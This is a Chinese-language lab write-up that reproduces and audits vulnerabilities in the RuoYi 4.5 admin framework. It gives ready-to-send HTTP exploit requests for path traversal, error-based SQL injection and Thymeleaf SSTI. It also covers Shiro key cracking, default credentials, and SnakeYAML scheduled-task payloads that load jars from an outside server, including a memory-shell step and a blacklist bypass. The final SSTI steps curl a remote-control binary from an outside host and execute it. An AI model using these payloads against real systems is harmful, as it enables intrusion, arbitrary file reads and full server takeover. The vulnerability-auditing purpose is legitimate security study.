环境配置

因为是漏洞复现,肯定选择较低版本,历史漏洞较多

我这里选择的是4.5

项目地址:https://gitee.com/y_project/RuoYi/releases

安装完成后导入至IDEA,等待自动安装依赖

配置数据库连接

在RuoYiApplication文件中启动,即可成功访问

漏洞复现与代码审计

前台Shiro反序列化漏洞

首先我们可以确认使用了Shiro组件

抓取登录包

登录失败的返回包存在Set-Cookie: rememberMe=deleteMe

也是典型的Shiro特征

查看系统源码

使用了1.6.0版本的Shiro组件

而在Shiro1.4.2版本后,采用的加密方式由AES-CBC变成了AES-GCM

爆破密钥

找到反序列化链,成功RCE

可以看到,工具爆破出的ShiroKey为:zSyK5Kp6PZAAjlT+eeNMlg==

此时我们查看系统源码

存在默认用户

若依框架是存在两个默认用户

admin/admin123

ry/admin123

均可以成功登录后台

查看后台,存在默认用户:

路径穿越漏洞

POC:

GET /common/download/resource?resource=/profile/../../../../../../windows/win.ini HTTP/1.1
Host: 10.21.195.125
Cookie: JSESSIONID=5d4344f1-ed8e-46d8-adfb-18207f341bae
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

我们可以根据接口去定位代码

找到漏洞接口后,观察他的逻辑

首先通过GET请求接收一个resource参数

然后通过 Global.getProfile() 方法找到文件读取的根目录

String localPath = Global.getProfile();

我们跟进方法

最终在application.yml文件中找到了profile参数的值,即为系统的文件读取根目录

回到刚才的接口

进行第二步的处理:下载路径的拼接

String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);

这里是把刚才得到的localPath,和resource参数传入的 RESOURCE_PREFIX 之后的路径做拼接

而 RESOURCE_PREFIX 我们跟进看一下,就是/profile

至此思路清晰

我们构造的POC中,resource参数的值为/profile/../../../../../../windows/win.ini

所以最终的文件下载路径为:

C:/ruoyi/uploadPath/../../../../../../windows/win.ini

即为C:/windows/win.ini

我们继续看最下面的 FileUtils.writeBytes() 方法

FileUtils.writeBytes(downloadPath, response.getOutputStream());

跟进方法

发现除了做了一些异常处理,没有对filePath参数做任何校验,由此通过路径穿越实现任意文件读取

SQL注入漏洞

在角色管理页面

POC:

POST /system/role/list HTTP/1.1
Host: 10.21.195.125
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.21.195.125/system/role
Cookie: JSESSIONID=5d4344f1-ed8e-46d8-adfb-18207f341bae
Content-Length: 125

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

成功利用报错注入获取数据库名

根据接口找到代码

可以看到是接收了一个SysRole的对象

我们跟进去看这个对象的属性

找到了我们用于报错注入的参数:dataScope

接下来我们要看看,这个接口用 dataScope 参数干了些什么

List<SysRole> list = roleService.selectRoleList(role);

继续跟进,找到 roleMapper 的查询语句

r是数据表sys_role的别名

此时根据我们的传入的参数,构造出最终数据库查询的语句

SELECT * 
FROM sys_role 
WHERE sys_role.del_flag = '0' 
and extractvalue(1,concat(0x7e,(select database()),0x7e))

由于${params.dataScope} 使用了 ${} 而不是更安全的 #{},导致了SQL注入的产生

定时任务RCE

在这里可以添加定时任务

项目地址:https://github.com/artsploit/yaml-payload

git clone https://github.com/artsploit/yaml-payload
cd yaml-payload/
vim src/artsploit/AwesomeScriptEngineFactory.java 

生成Jar包

javac src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf yaml-payload.jar -C src/ .

启动HTTP服务,部署该Jar包即可

在后台创建计划任务处写下

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://118.193.40.91:8000/yaml-payload.jar"]
  ]]
]')

cron表达式为

0/10 * * * * ?

即可成功RCE

反弹Shell的方式由于是Windows搭建靶场,无法演示,但写定时任务反弹Shell容易把网站打挂,不建议使用,可以写内存马

定时任务写冰蝎内存马

项目地址:https://github.com/lz2y/yaml-payload-for-ruoyi.git

git clone https://github.com/lz2y/yaml-payload-for-ruoyi.git
cd yaml-payload-for-ruoyi/
mvn clean package

部署Jar包,写计划任务

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://118.193.40.91:8000/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]
  ]]
]')
0/10 * * * * ?

冰蝎成功连接

Bypass

版本 4.6.2 <= Ruoyi < 4.7.2 存在黑名单,禁止调用ldap,http,https,rmi等协议,可以利用符号方式绕过

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["h't't'p://118.193.40.91:8000/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]
  ]]
]')

SSTI模板注入

访问:/demo/form/localrefresh

点击刷新,抓包

POC:

POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.21.195.125
Accept-Language: zh-CN,zh;q=0.9
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Referer: http://10.21.195.125/demo/form/localrefresh
Cookie: JSESSIONID=f08dccf8-4dd9-488c-98d8-d8d2512caa66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 36

taskName=&fragment=${T(java.lang.Runtime).getRuntime().exec("calc")}

成功RCE

跟踪代码的执行

return prefix + "/localrefresh::" + fragment;
  • prefix: 定义了模板路径的前缀

  • /localrefresh: 指定要使用的模板文件名称

  • ::fragment: 指定模板文件中要渲染的片段名称

例如在这里,prefix的值为:demo/form

渲染的模板文件则为

正常的请求:

引擎会渲染模板文件的 fragment-tasklist 片段

渲染结果:

但由于在这里,fragment参数可控且没有过滤直接返回给模板引擎引起注入漏洞,发送POC最终传给引擎解析的参数为

localrefresh::${T(java.lang.Runtime).getRuntime().exec("calc")}

引擎会把 ${T(java.lang.Runtime).getRuntime().exec("calc")} 当做表达式解析,实现RCE

不会渲染出模板片段

SSTI模板注入上线

思路:先curl下载远控程序,再命令执行启动程序上线

文件下载POC:

POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.21.195.125
Accept-Language: zh-CN,zh;q=0.9
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Referer: http://10.21.195.125/demo/form/localrefresh
Cookie: JSESSIONID=f08dccf8-4dd9-488c-98d8-d8d2512caa66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 36

taskName=&fragment=${T(java.lang.Runtime).getRuntime().exec("curl -o tcp_windows_amd64.exe http://118.193.40.91:8000/tcp_windows_amd64.exe")}

成功下载到若依系统根目录

运行文件POC:

POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.21.195.125
Accept-Language: zh-CN,zh;q=0.9
Origin: http://10.21.195.125
X-Requested-With: XMLHttpRequest
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Referer: http://10.21.195.125/demo/form/localrefresh
Cookie: JSESSIONID=f08dccf8-4dd9-488c-98d8-d8d2512caa66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 36

taskName=&fragment=${T(java.lang.Runtime).getRuntime().exec(".\tcp_windows_amd64.exe")}

成功上线